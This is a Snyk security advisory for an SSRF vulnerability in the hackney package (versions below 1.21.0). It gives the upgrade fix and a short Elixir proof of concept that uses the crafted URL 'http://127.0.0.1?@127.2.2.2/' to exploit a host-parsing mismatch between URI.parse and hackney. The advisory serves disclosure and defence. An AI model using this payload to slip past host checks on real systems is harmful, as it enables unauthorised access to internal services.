Server-side Request Forgery (SSRF) Affecting hackney package, versions <1.21.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-HEX-HACKNEY-6516131
- published10 Feb 2025
- disclosed13 Mar 2024
- creditSam Sanoop
Introduced: 13 Mar 2024
CVE-2025-1211 (opens in a new tab)How to fix?
Upgrade hackney to version 1.21.0 or higher.
Overview
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to improper parsing of URLs by URI built-in module and hackey. Given the URL http://127.0.0.1?@127.2.2.2/, the URI function will parse and see the host as 127.0.0.1 (which is correct), and hackney will refer the host as 127.2.2.2/.
This vulnerability can be exploited when users rely on the URL function for host checking.
PoC
import :hackney
defmodule MyApp do
# Helper function to print the URL components
def parse_and_print_url() do
attack_string = "http://127.0.0.1?@127.2.2.2/"
uri = URI.parse(attack_string)
# Host
host = uri.host
IO.puts("Host: #{host}")
port = uri.port
IO.puts("Port: #{port}")
# httpc sends a request to the right url 127.0.0.1
# {:ok, {{:_, 200, _}, _, body}} = :httpc.request(:get, {attack_string, []}, [], [body_format: :binary])
# IO.puts("Response body: #{body}")
# http poison sends the request to 127.2.2.2
# HTTPoison.start
# HTTPoison.get! attack_string
# hackney which http poison uses sends the request to 127.2.2.2
:hackney.get(attack_string, [], "", async: :once)
end
end